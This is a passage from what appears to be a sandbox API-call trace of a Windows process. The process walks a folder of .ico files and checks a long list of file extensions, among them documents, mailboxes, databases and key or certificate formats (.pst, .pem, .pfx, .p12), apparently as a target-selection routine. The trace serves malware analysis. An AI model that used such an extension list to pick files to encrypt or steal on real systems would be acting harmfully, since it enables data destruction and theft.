(lpString=".dng") returned 4 [0087.201] lstrcmpiW (lpString1=".dng", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".doc") returned 4 [0087.201] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0087.201] lstrlenW (lpString=".docm") returned 5 [0087.201] lstrcmpiW (lpString1=".docm", lpString2="t.ico") returned -1 [0087.201] lstrlenW (lpString=".docx") returned 5 [0087.201] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0087.202] lstrlenW (lpString=".dot") returned 4 [0087.202] lstrcmpiW (lpString1=".dot", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dotm") returned 5 [0087.202] lstrcmpiW (lpString1=".dotm", lpString2="t.ico") returned -1 [0087.202] lstrlenW (lpString=".dotx") returned 5 [0087.202] lstrcmpiW (lpString1=".dotx", lpString2="t.ico") returned -1 [0087.202] lstrlenW (lpString=".dpx") returned 4 [0087.202] lstrcmpiW (lpString1=".dpx", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dqy") returned 4 [0087.202] lstrcmpiW (lpString1=".dqy", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dsn") returned 4 [0087.202] lstrcmpiW (lpString1=".dsn", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dt") returned 3 [0087.202] lstrcmpiW (lpString1=".dt", lpString2="ico") returned -1 [0087.202] lstrlenW (lpString=".dtd") returned 4 [0087.202] lstrcmpiW (lpString1=".dtd", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dwg") returned 4 [0087.202] lstrcmpiW (lpString1=".dwg", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dwt") returned 4 [0087.202] lstrcmpiW (lpString1=".dwt", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".dx") returned 3 [0087.202] lstrcmpiW (lpString1=".dx", lpString2="ico") returned -1 [0087.202] lstrlenW (lpString=".dxf") returned 4 [0087.202] lstrcmpiW (lpString1=".dxf", lpString2=".ico") returned -1 [0087.202] lstrlenW (lpString=".edml") returned 5 [0087.202] lstrcmpiW (lpString1=".edml", lpString2="t.ico") returned -1 [0087.203] lstrlenW (lpString=".efd") returned 4 [0087.203] lstrcmpiW (lpString1=".efd", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".elf") returned 4 [0087.203] lstrcmpiW (lpString1=".elf", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".emf") returned 4 [0087.203] lstrcmpiW (lpString1=".emf", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".emz") returned 4 [0087.203] lstrcmpiW (lpString1=".emz", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".epf") returned 4 [0087.203] lstrcmpiW (lpString1=".epf", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".eps") returned 4 [0087.203] lstrcmpiW (lpString1=".eps", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".epsf") returned 5 [0087.203] lstrcmpiW (lpString1=".epsf", lpString2="t.ico") returned -1 [0087.203] lstrlenW (lpString=".epsp") returned 5 [0087.203] lstrcmpiW (lpString1=".epsp", lpString2="t.ico") returned -1 [0087.203] lstrlenW (lpString=".erf") returned 4 [0087.203] lstrcmpiW (lpString1=".erf", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".exr") returned 4 [0087.203] lstrcmpiW (lpString1=".exr", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".f4v") returned 4 [0087.203] lstrcmpiW (lpString1=".f4v", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".fido") returned 5 [0087.203] lstrcmpiW (lpString1=".fido", lpString2="t.ico") returned -1 [0087.203] lstrlenW (lpString=".flm") returned 4 [0087.203] lstrcmpiW (lpString1=".flm", lpString2=".ico") returned -1 [0087.203] lstrlenW (lpString=".flv") returned 4 [0087.203] lstrcmpiW (lpString1=".flv", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".frm") returned 4 [0087.204] lstrcmpiW (lpString1=".frm", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".fxg") returned 4 [0087.204] lstrcmpiW (lpString1=".fxg", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".geo") returned 4 [0087.204] lstrcmpiW (lpString1=".geo", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".gif") returned 4 [0087.204] lstrcmpiW (lpString1=".gif", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".grs") returned 4 [0087.204] lstrcmpiW (lpString1=".grs", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".gz") returned 3 [0087.204] lstrcmpiW (lpString1=".gz", lpString2="ico") returned -1 [0087.204] lstrlenW (lpString=".h") returned 2 [0087.204] lstrcmpiW (lpString1=".h", lpString2="co") returned -1 [0087.204] lstrlenW (lpString=".hdr") returned 4 [0087.204] lstrcmpiW (lpString1=".hdr", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".hpp") returned 4 [0087.204] lstrcmpiW (lpString1=".hpp", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".hta") returned 4 [0087.204] lstrcmpiW (lpString1=".hta", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".htc") returned 4 [0087.204] lstrcmpiW (lpString1=".htc", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".htm") returned 4 [0087.204] lstrcmpiW (lpString1=".htm", lpString2=".ico") returned -1 [0087.204] lstrlenW (lpString=".html") returned 5 [0087.204] lstrcmpiW (lpString1=".html", lpString2="t.ico") returned -1 [0087.204] lstrlenW (lpString=".icb") returned 4 [0087.205] lstrcmpiW (lpString1=".icb", lpString2=".ico") returned -1 [0087.205] lstrlenW (lpString=".ics") returned 4 [0087.205] lstrcmpiW (lpString1=".ics", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".iff") returned 4 [0087.205] lstrcmpiW (lpString1=".iff", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".inc") returned 4 [0087.205] lstrcmpiW (lpString1=".inc", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".indd") returned 5 [0087.205] lstrcmpiW (lpString1=".indd", lpString2="t.ico") returned -1 [0087.205] lstrlenW (lpString=".ini") returned 4 [0087.205] lstrcmpiW (lpString1=".ini", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".iqy") returned 4 [0087.205] lstrcmpiW (lpString1=".iqy", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".j2c") returned 4 [0087.205] lstrcmpiW (lpString1=".j2c", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".j2k") returned 4 [0087.205] lstrcmpiW (lpString1=".j2k", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".java") returned 5 [0087.205] lstrcmpiW (lpString1=".java", lpString2="t.ico") returned -1 [0087.205] lstrlenW (lpString=".jp2") returned 4 [0087.205] lstrcmpiW (lpString1=".jp2", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".jpc") returned 4 [0087.205] lstrcmpiW (lpString1=".jpc", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".jpe") returned 4 [0087.205] lstrcmpiW (lpString1=".jpe", lpString2=".ico") returned 1 [0087.205] lstrlenW (lpString=".jpeg") returned 5 [0087.205] lstrcmpiW (lpString1=".jpeg", lpString2="t.ico") returned -1 [0087.205] lstrlenW (lpString=".jpf") returned 4 [0087.206] lstrcmpiW (lpString1=".jpf", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".jpg") returned 4 [0087.206] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".jpx") returned 4 [0087.206] lstrcmpiW (lpString1=".jpx", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".js") returned 3 [0087.206] lstrcmpiW (lpString1=".js", lpString2="ico") returned -1 [0087.206] lstrlenW (lpString=".jsf") returned 4 [0087.206] lstrcmpiW (lpString1=".jsf", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".json") returned 5 [0087.206] lstrcmpiW (lpString1=".json", lpString2="t.ico") returned -1 [0087.206] lstrlenW (lpString=".jsp") returned 4 [0087.206] lstrcmpiW (lpString1=".jsp", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".kdc") returned 4 [0087.206] lstrcmpiW (lpString1=".kdc", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".kmz") returned 4 [0087.206] lstrcmpiW (lpString1=".kmz", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".kwm") returned 4 [0087.206] lstrcmpiW (lpString1=".kwm", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".lasso") returned 6 [0087.206] lstrcmpiW (lpString1=".lasso", lpString2="nt.ico") returned -1 [0087.206] lstrlenW (lpString=".lbi") returned 4 [0087.206] lstrcmpiW (lpString1=".lbi", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".lgf") returned 4 [0087.206] lstrcmpiW (lpString1=".lgf", lpString2=".ico") returned 1 [0087.206] lstrlenW (lpString=".lgp") returned 4 [0087.206] lstrcmpiW (lpString1=".lgp", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".log") returned 4 [0087.207] lstrcmpiW (lpString1=".log", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".m1v") returned 4 [0087.207] lstrcmpiW (lpString1=".m1v", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".m4a") returned 4 [0087.207] lstrcmpiW (lpString1=".m4a", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".m4v") returned 4 [0087.207] lstrcmpiW (lpString1=".m4v", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".max") returned 4 [0087.207] lstrcmpiW (lpString1=".max", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".md") returned 3 [0087.207] lstrcmpiW (lpString1=".md", lpString2="ico") returned -1 [0087.207] lstrlenW (lpString=".mda") returned 4 [0087.207] lstrcmpiW (lpString1=".mda", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mdb") returned 4 [0087.207] lstrcmpiW (lpString1=".mdb", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mde") returned 4 [0087.207] lstrcmpiW (lpString1=".mde", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mdf") returned 4 [0087.207] lstrcmpiW (lpString1=".mdf", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mdw") returned 4 [0087.207] lstrcmpiW (lpString1=".mdw", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mef") returned 4 [0087.207] lstrcmpiW (lpString1=".mef", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mft") returned 4 [0087.207] lstrcmpiW (lpString1=".mft", lpString2=".ico") returned 1 [0087.207] lstrlenW (lpString=".mfw") returned 4 [0087.208] lstrcmpiW (lpString1=".mfw", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mht") returned 4 [0087.208] lstrcmpiW (lpString1=".mht", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mhtml") returned 6 [0087.208] lstrcmpiW (lpString1=".mhtml", lpString2="nt.ico") returned -1 [0087.208] lstrlenW (lpString=".mka") returned 4 [0087.208] lstrcmpiW (lpString1=".mka", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mkidx") returned 6 [0087.208] lstrcmpiW (lpString1=".mkidx", lpString2="nt.ico") returned -1 [0087.208] lstrlenW (lpString=".mkv") returned 4 [0087.208] lstrcmpiW (lpString1=".mkv", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mos") returned 4 [0087.208] lstrcmpiW (lpString1=".mos", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mov") returned 4 [0087.208] lstrcmpiW (lpString1=".mov", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mp3") returned 4 [0087.208] lstrcmpiW (lpString1=".mp3", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mp4") returned 4 [0087.208] lstrcmpiW (lpString1=".mp4", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mpeg") returned 5 [0087.208] lstrcmpiW (lpString1=".mpeg", lpString2="t.ico") returned -1 [0087.208] lstrlenW (lpString=".mpg") returned 4 [0087.208] lstrcmpiW (lpString1=".mpg", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mpv") returned 4 [0087.208] lstrcmpiW (lpString1=".mpv", lpString2=".ico") returned 1 [0087.208] lstrlenW (lpString=".mrw") returned 4 [0087.208] lstrcmpiW (lpString1=".mrw", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".msg") returned 4 [0087.209] lstrcmpiW (lpString1=".msg", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".mxl") returned 4 [0087.209] lstrcmpiW (lpString1=".mxl", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".myd") returned 4 [0087.209] lstrcmpiW (lpString1=".myd", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".myi") returned 4 [0087.209] lstrcmpiW (lpString1=".myi", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".nef") returned 4 [0087.209] lstrcmpiW (lpString1=".nef", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".nrw") returned 4 [0087.209] lstrcmpiW (lpString1=".nrw", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".obj") returned 4 [0087.209] lstrcmpiW (lpString1=".obj", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".odb") returned 4 [0087.209] lstrcmpiW (lpString1=".odb", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".odc") returned 4 [0087.209] lstrcmpiW (lpString1=".odc", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".odm") returned 4 [0087.209] lstrcmpiW (lpString1=".odm", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".odp") returned 4 [0087.209] lstrcmpiW (lpString1=".odp", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".ods") returned 4 [0087.209] lstrcmpiW (lpString1=".ods", lpString2=".ico") returned 1 [0087.209] lstrlenW (lpString=".oft") returned 4 [0087.210] lstrcmpiW (lpString1=".oft", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".one") returned 4 [0087.210] lstrcmpiW (lpString1=".one", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".onepkg") returned 7 [0087.210] lstrcmpiW (lpString1=".onepkg", lpString2="int.ico") returned -1 [0087.210] lstrlenW (lpString=".onetoc2") returned 8 [0087.210] lstrcmpiW (lpString1=".onetoc2", lpString2="rint.ico") returned -1 [0087.210] lstrlenW (lpString=".opt") returned 4 [0087.210] lstrcmpiW (lpString1=".opt", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".oqy") returned 4 [0087.210] lstrcmpiW (lpString1=".oqy", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".orf") returned 4 [0087.210] lstrcmpiW (lpString1=".orf", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".p12") returned 4 [0087.210] lstrcmpiW (lpString1=".p12", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".p7b") returned 4 [0087.210] lstrcmpiW (lpString1=".p7b", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".p7c") returned 4 [0087.210] lstrcmpiW (lpString1=".p7c", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".pam") returned 4 [0087.210] lstrcmpiW (lpString1=".pam", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".pbm") returned 4 [0087.210] lstrcmpiW (lpString1=".pbm", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".pct") returned 4 [0087.210] lstrcmpiW (lpString1=".pct", lpString2=".ico") returned 1 [0087.210] lstrlenW (lpString=".pcx") returned 4 [0087.210] lstrcmpiW (lpString1=".pcx", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pdd") returned 4 [0087.211] lstrcmpiW (lpString1=".pdd", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pdf") returned 4 [0087.211] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pdp") returned 4 [0087.211] lstrcmpiW (lpString1=".pdp", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pef") returned 4 [0087.211] lstrcmpiW (lpString1=".pef", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pem") returned 4 [0087.211] lstrcmpiW (lpString1=".pem", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pff") returned 4 [0087.211] lstrcmpiW (lpString1=".pff", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pfm") returned 4 [0087.211] lstrcmpiW (lpString1=".pfm", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pfx") returned 4 [0087.211] lstrcmpiW (lpString1=".pfx", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".pgm") returned 4 [0087.211] lstrcmpiW (lpString1=".pgm", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".php") returned 4 [0087.211] lstrcmpiW (lpString1=".php", lpString2=".ico") returned 1 [0087.211] lstrlenW (lpString=".php3") returned 5 [0087.211] lstrcmpiW (lpString1=".php3", lpString2="t.ico") returned -1 [0087.211] lstrlenW (lpString=".php4") returned 5 [0087.211] lstrcmpiW (lpString1=".php4", lpString2="t.ico") returned -1 [0087.211] lstrlenW (lpString=".php5") returned 5 [0087.211] lstrcmpiW (lpString1=".php5", lpString2="t.ico") returned -1 [0087.211] lstrlenW (lpString=".phtml") returned 6 [0087.212] lstrcmpiW (lpString1=".phtml", lpString2="nt.ico") returned -1 [0087.212] lstrlenW (lpString=".pict") returned 5 [0087.212] lstrcmpiW (lpString1=".pict", lpString2="t.ico") returned -1 [0087.212] lstrlenW (lpString=".pl") returned 3 [0087.212] lstrcmpiW (lpString1=".pl", lpString2="ico") returned -1 [0087.212] lstrlenW (lpString=".pls") returned 4 [0087.212] lstrcmpiW (lpString1=".pls", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".pm") returned 3 [0087.212] lstrcmpiW (lpString1=".pm", lpString2="ico") returned -1 [0087.212] lstrlenW (lpString=".png") returned 4 [0087.212] lstrcmpiW (lpString1=".png", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".pnm") returned 4 [0087.212] lstrcmpiW (lpString1=".pnm", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".pot") returned 4 [0087.212] lstrcmpiW (lpString1=".pot", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".potm") returned 5 [0087.212] lstrcmpiW (lpString1=".potm", lpString2="t.ico") returned -1 [0087.212] lstrlenW (lpString=".potx") returned 5 [0087.212] lstrcmpiW (lpString1=".potx", lpString2="t.ico") returned -1 [0087.212] lstrlenW (lpString=".ppa") returned 4 [0087.212] lstrcmpiW (lpString1=".ppa", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".ppam") returned 5 [0087.212] lstrcmpiW (lpString1=".ppam", lpString2="t.ico") returned -1 [0087.212] lstrlenW (lpString=".ppm") returned 4 [0087.212] lstrcmpiW (lpString1=".ppm", lpString2=".ico") returned 1 [0087.212] lstrlenW (lpString=".pps") returned 4 [0087.212] lstrcmpiW (lpString1=".pps", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".ppsm") returned 5 [0087.213] lstrcmpiW (lpString1=".ppsm", lpString2="t.ico") returned -1 [0087.213] lstrlenW (lpString=".ppt") returned 4 [0087.213] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".pptm") returned 5 [0087.213] lstrcmpiW (lpString1=".pptm", lpString2="t.ico") returned -1 [0087.213] lstrlenW (lpString=".pptx") returned 5 [0087.213] lstrcmpiW (lpString1=".pptx", lpString2="t.ico") returned -1 [0087.213] lstrlenW (lpString=".prn") returned 4 [0087.213] lstrcmpiW (lpString1=".prn", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".ps") returned 3 [0087.213] lstrcmpiW (lpString1=".ps", lpString2="ico") returned -1 [0087.213] lstrlenW (lpString=".psb") returned 4 [0087.213] lstrcmpiW (lpString1=".psb", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".psd") returned 4 [0087.213] lstrcmpiW (lpString1=".psd", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".pst") returned 4 [0087.213] lstrcmpiW (lpString1=".pst", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".ptx") returned 4 [0087.213] lstrcmpiW (lpString1=".ptx", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".pub") returned 4 [0087.213] lstrcmpiW (lpString1=".pub", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".pwm") returned 4 [0087.213] lstrcmpiW (lpString1=".pwm", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".pxr") returned 4 [0087.213] lstrcmpiW (lpString1=".pxr", lpString2=".ico") returned 1 [0087.213] lstrlenW (lpString=".py") returned 3 [0087.214] lstrcmpiW (lpString1=".py", lpString2="ico") returned -1 [0087.214] lstrlenW (lpString=".qt") returned 3 [0087.214] lstrcmpiW (lpString1=".qt", lpString2="ico") returned -1 [0087.214] lstrlenW (lpString=".r3d") returned 4 [0087.214] lstrcmpiW (lpString1=".r3d", lpString2=".ico") returned 1 [0087.214] lstrlenW (lpString=".raf") returned 4 [0087.214] lstrcmpiW (lpString1=".raf", lpString2=".ico") returned 1 [0087.214] lstrlenW (lpString=".rar") returned 4 [0087.214] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0087.214] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate1.ico", cAlternateFileName="")) returned 1 [0087.214] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate2.ico", cAlternateFileName="")) returned 1 [0087.214] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate4.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate5.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate6.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate7.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate8.ico", cAlternateFileName="")) returned 1 [0087.215] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Save.ico", cAlternateFileName="")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x8f66, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.ico", cAlternateFileName="")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b5e7f00, ftCreationTime.dwHighDateTime=0x1ca927c, ftLastAccessTime.dwLowDateTime=0x5b5e7f00, ftLastAccessTime.dwHighDateTime=0x1ca927c, ftLastWriteTime.dwLowDateTime=0x5b5e7f00, ftLastWriteTime.dwHighDateTime=0x1ca927c, nFileSizeHigh=0x0, nFileSizeLow=0x2796, dwReserved0=0x0, dwReserved1=0x0, cFileName="stop.ico", cAlternateFileName="")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SysReqMet.ico", cAlternateFileName="SYSREQ~1.ICO")) returned 1 [0087.216] FindNextFileW (in: hFindFile=0x4260810, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x80, 